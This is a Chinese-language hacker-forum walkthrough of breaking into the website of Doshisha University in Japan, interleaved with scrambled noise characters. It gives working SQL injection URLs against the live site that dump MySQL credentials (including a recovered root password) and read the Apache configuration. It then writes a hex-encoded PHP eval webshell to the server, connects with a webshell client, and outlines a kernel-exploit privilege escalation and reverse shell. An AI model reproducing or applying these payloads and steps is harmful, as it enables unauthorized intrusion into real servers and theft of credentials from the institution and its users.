入侵日本同志社大学技术分析
. D$ [$ W, L Z" r7 c2 z( ]- o% Q1 b, g w
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+ D# h+ @2 @: n
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:! o# ?6 D* C4 F; ^* }% _5 \
! z+ N/ h, J2 b, a$ k9 H8 ~
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user3 U, R- Q3 z3 ~4 ^
+ z( ?& n5 O0 I$ Z 9 V/ [8 n: n6 A4 l4 Y
: s# g5 R$ }% q! a8 J
//@@datadir为数据库文件路径 9 U: P6 T6 J% T/ q( V. C7 D
$ ?- e/ _" k+ `9 @4 Z
' Z6 S: K5 k d d, i2 u* O//load_file读取网站容器apache的配置文件 + z( X# O- k6 \7 t& _
& Z: l/ F+ g# D* g
# t; I+ x) z+ y4 @) v4 `; u//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
+ x+ S( ]: Q& p0 a" g w7 U复制代码
' J% E) e+ \. d0 G; B- Z$ V
7 @- H6 o0 f+ r! P1 B% m0 j8 I) U: \虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。/ p9 S, }/ q, J2 p+ I2 m% E
\3 ~$ D' {0 I$ i: H6 N% t# U/ N而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。; ?' c. M9 x% C; B
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
" S! U% y, ~0 E% Z/ W% ]9 f& D5 H0 a% k3 z+ _# L& O' b
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。/ F- S2 a- p; j# T5 R, D1 G
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html% S% u; |5 ~4 r9 A
B; |1 D9 ~: n1 _ H8 v/ d
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/8 b- l J3 [( q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
y4 O) E$ W: d' y# R直接写一句话:" d6 A; C# _' p5 k `1 s I
$ R- g* m( v* U& Q ~9 Khttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#7 u( q: p7 S k/ M1 W
0 K- T/ |/ F; @( ^; Y6 p* f
( O5 O; s& m, c$ {
/ J5 F5 {& e' h6 c& D4 _//最后的#是为了闭合前面的语句
) h5 @8 |' C" [5 C9 m1 ^
' V/ g7 O' H! e0 c0 D
, d, r8 L3 |9 m/ u/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
( I+ |! k# [5 @5 Y % ~3 g6 c) U) m* d& |
# P& }: U+ V4 C y" |
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
3 M1 w% q1 q9 N! q$ Z( ~( u
S, B1 k! |2 C! a: Z0 ?) `
- D4 @6 j7 K$ V/ o* `7 N//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
+ D, J. K7 t& Q1 r. ~+ X; U. K 7 {8 c U' V- X
; t; {0 }4 H4 o5 ?
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
( g' w' k5 q3 K+ v _1 Y) {//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
4 f( T9 \3 c8 {- [# Q' j8 H9 @: S4 z复制代码
0 ^$ k+ r6 N* r- l
% R8 Z! ^9 i1 L( GHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有( b7 @, I) f, {) _9 k
通过上述注入语句,我们就得到了一句话木马:
# N4 ~* o: O) {- g; M" m3 g4 B+ g
' P1 X% H% v$ [3 q4 I# s ) z5 v7 ?. ?1 I3 E* A" V# _
9 C# D. c. t" y- g
1 Z4 @" \& z7 X: x" `
" N7 W) l U1 p' x$ Z
http://www.doshisha.ac.jp/english/engnews_img/aa.php ; G( h3 \8 N8 n$ {( b* s% z
复制代码
- K* P9 g% s$ Y2 c# L' f2 q
$ n& G! J( B; [6 ^0 _4 P' Y用菜刀连接,密码是cmd,如图所示:
# W+ z! F4 }3 {0 T然后在命令提示行里看了一下,现在的权限是:
4 r/ j' P! K( S. r: o) u
& j1 b' X+ Y8 M" `" D8 k之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。' V2 u! E! _6 @# H, E
好在赋权给这个文件夹不需要root,直接执行赋权语句:
4 r" M" [* l+ j$ M }/ \
( N" U( Y% ^4 Y& L7 d , E6 F1 ?; I2 `5 g/ l4 |
: h0 k- [" ?9 J& y " l' `8 m9 g& V6 k$ @$ V3 Q# i$ I+ m
# ~3 R, T: w5 ^" E/ b
chmod +x /tmp/ 6 s( N8 B* F8 h
复制代码" T7 \! J, E; ^" `3 _
' c( b. D* S \+ Z在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
) u+ @' e0 V+ ?! r4 b- C, ~2 v1 [) N2 e/ s9 a然后就查了一下内核版本:
/ T3 `. T% t! T2 ?) `( r' D! a
7 T2 F4 v4 K# t& j! b- a: E . h( W& ]# b( m! [8 A# J- ]
* N* h# K/ w! g' M2 ? " s0 e l6 I( E
9 D$ S- p9 e6 n6 Muname-a
. \1 Q0 h9 c$ J, @+ B ( q+ `- r. d# h8 M
# F, Y" Z$ I& z4 h0 `//其实lsb_release -a
9 A' C5 N8 H6 j: |6 r8 ~复制代码
0 k4 D' w7 d2 e0 [5 _- n- K4 `* c' I
如图所示:
0 A& H: i! u0 V6 t+ N% @
5 E8 Q: a+ d) ?- Q$ O4 F' [3 J内核版本:linux mainz1 2.6.28-194.e15
, r) ?6 K0 I6 T* p/ n; L7 S% T系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)5 d A6 l* _1 w% H6 @7 T! h
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
# }. ]: Z$ n H9 B9 C" G0 S* u. G K! N& b5 j
然后给予执行权限7 w% `$ N# A3 J& \6 w- k8 x
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
" U; q$ n/ _* w# ]9 F, I9 y( J- r1 D6 t
+ u& ^) m0 i2 w, G- F5 d
0 k# e' f. ^. v- C6 A. ] ' m5 M- @8 J3 a% q `. ?
/ j( R. n7 {- s0 C! x
chmod +x /tmp/2.6.18-194
- f/ N& V7 Z1 ]复制代码 然后直接执行!~
0 h' K( \& t- x, N% K! d( A3 q. \3 F; k Z) |" G C% V+ R
总结:
( Z/ ~7 c/ u; |: Z+ y4 d* {- s, {这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
. e' C* L G1 I0 C0 C: A7 y+ D提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
7 [! j0 w+ L% u" l* b* L- N* j5 {
' {# P+ }3 }% r; F0 B0 t3 M# U |